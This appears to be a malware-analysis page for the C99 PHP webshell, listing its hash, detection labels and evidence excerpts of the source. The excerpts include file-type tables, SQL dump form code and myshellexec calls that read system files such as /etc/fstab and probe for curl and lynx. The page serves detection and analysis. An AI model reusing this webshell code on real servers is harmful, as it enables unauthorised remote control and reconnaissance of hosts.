Hostile 100% php Download

Backdoor.PHP.C99Shell.d

Known C99 webshell backdoor

PHP prepender virus infection chainDetects C99 Webshell
SHA-256bb5dab671e6bdc4d2836d5ebc9c24e085388314f271202c9deabb4d59cfe3399

Evidence

Sets HTTP cookie via setcookie() lines 120–155
120:9… ve = true; //If true then save sorting-type.
121
122// Registered file-types.
123// array(
124// "{action1}"=>array("ext1","ext2","ext3",...),
125// "{action2}"=>array("ext4","ext5","ext6",...),
126// ...
127// )
128$ftypes = array(
129 "html"=>array("html","htm","shtml"),
130 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
131 "exe"=>array("sh","install","bat","cmd"),
132 "ini"=>array("ini","inf"),
133 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
134 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
135 "sdb"=>array("sdb"),
136 "phpsess"=>array("sess"),
137 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
138);
139
⋯5 lines
145// {command}: %f% = filename
146$exeftypes = array(
147 getenv("PHPRC")." %f%"=>array("php","php3","php4"),
148);
149
⋯6 lines
Calls PHP unlink() lines 496–521
496:9… "execute"] = ($mode & 00100)?"x":"-";
497 $group["read"] = ($mode & 00040)?"r":"-";
498 $group["write"] = ($mode & 00020)?"w":"-";
499 $group["execute"] = ($mode & 00010)?"x":"-";
500 $world["read"] = ($mode & 00004)?"r":"-";
501 $world["write"] = ($mode & 00002)? "w":"-";
502 $world["execute"] = ($mode & 00001)?"x":"-";
503
504 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
505 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
506 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
507
508 return $type.$owner["read"].$owner["write"].$owner["execute"].
509 $group["read"].$group["write"].$group["execute"].
510 $world["read"].$world["write"].$world["execute"];
511}
512}
513if (!function_exists("parse_perms"))
514{
515function parse_perms($mode)
⋯6 lines
Opens own source via __FILE__ constant lines 720–748
720:12… ---------------------------------------------------------------------------------\n\n";
721 if ($file)
722 {
723 $fp = fopen($file, "w");
724 if (!$fp) {$ret["err"][] = 2;}
725 else
⋯6 lines
732 return $out;
733}
734}
735if (!function_exists("mysql_buildwhere"))
736{
⋯4 lines
741 foreach($array as $k=>$v)
742 {
743 $value = "";
744 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
745 $value .= "'".addslashes($v)."'";
746 if (!empty($functs[$k])) {$value .= ")";}
747 $result .= "`".$k."` = ".$value.$sep;
748 …
PHP Webshells Github Archive - file c99_locus7s.php lines 1183–1187
1183:111… ls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1184 if ($dump_file) {$tmp = $dump_file;}
1185 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1186 echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1187 echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\" …
Detects C99 Webshell lines 1632–1640
1632:5… playsecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
1633 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
1634 displaysecinfo("RAM",myshellexec("free -m"));
1635 displaysecinfo("HDD space",myshellexec("df -h"));
1636 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
1637 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
1638 displaysecinfo("Is cURL installed?",myshellexec("which curl"));
1639 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
1640 displaysecinfo("Is links installed?",myshellexec("which …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.